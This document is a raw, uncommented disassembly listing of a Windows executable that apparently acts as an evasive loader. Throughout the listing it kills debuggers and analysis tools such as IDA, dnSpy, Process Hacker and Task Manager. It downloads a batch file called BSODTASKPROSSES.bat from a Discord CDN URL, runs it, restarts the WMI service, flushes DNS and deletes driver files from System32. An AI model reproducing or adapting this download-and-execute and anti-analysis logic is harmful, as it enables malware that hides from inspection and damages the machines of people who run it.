lea rcx, [rsp + 0xcb70]
call fcn.14005d8d0
mov qword [rsp + 0x1310], rax
lea rcx, [rsp + 0xcb90]
call fcn.14005d8d0
mov qword [rsp + 0x1318], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1310]
mov rdx, qword [rsp + 0x1318]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xcb30]
call fcn.14005d8d0
mov qword [rsp + 0x1320], rax
lea rcx, [rsp + 0xcb50]
call fcn.14005d8d0
mov qword [rsp + 0x1328], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1320]
mov rdx, qword [rsp + 0x1328]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392970]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, [rsp + 0xcb30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcb50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcb70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcb90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcbb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcbd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcbf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcc10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcc30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcc50]
call fcn.14005d8e0
cmp dword [0x140406d74], 5
jne 0x140098b0f
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.net_stop_winmgmt__y__nul
call fcn.1402b6aa8
lea rcx, str.net_start_winmgmt__y__nul
call fcn.1402b6aa8
lea rcx, str.sc_stop_winmgmt
call fcn.1402b6aa8
lea rcx, str.sc_start_winmgmt
call fcn.1402b6aa8
lea rcx, str.ipconfig__flushdns
call fcn.1402b6aa8
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xa370]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xea10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xea10]
call fcn.14005d8d0
mov qword [rsp + 0x1330], rax
lea rcx, [rsp + 0xa370]
call fcn.14005d8d0
mov qword [rsp + 0x1338], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1330]
mov rdx, qword [rsp + 0x1338]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
